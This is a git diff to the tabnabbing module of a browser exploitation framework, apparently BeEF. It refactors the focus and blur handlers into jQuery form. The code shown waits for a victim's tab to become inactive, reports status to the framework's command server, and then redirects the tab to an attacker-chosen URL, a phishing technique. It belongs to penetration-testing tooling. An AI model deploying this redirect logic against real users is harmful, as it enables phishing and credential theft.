diff --git a/modules/social_engineering/tabnabbing/command.js b/modules/social_engineering/tabnabbing/command.js index d246bcb67..85f24fa71 100644 --- a/modules/social_engineering/tabnabbing/command.js +++ b/modules/social_engineering/tabnabbing/command.js @@ -13,14 +13,13 @@ beef.execute(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'tabnab=waiting for tab to become inactive'); // begin countdown when the tab loses focus - window.onblur = function() { + $j(window).blur(function(e) { begin_countdown(); - } // stop countdown if the tab regains focus - window.onfocus = function() { + }).focus(function(e) { clearTimeout(tabnab_timer); - } + }); begin_countdown = function() { tabnab_timer = setTimeout(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'tabnab=redirected'); window.location = url; }, wait);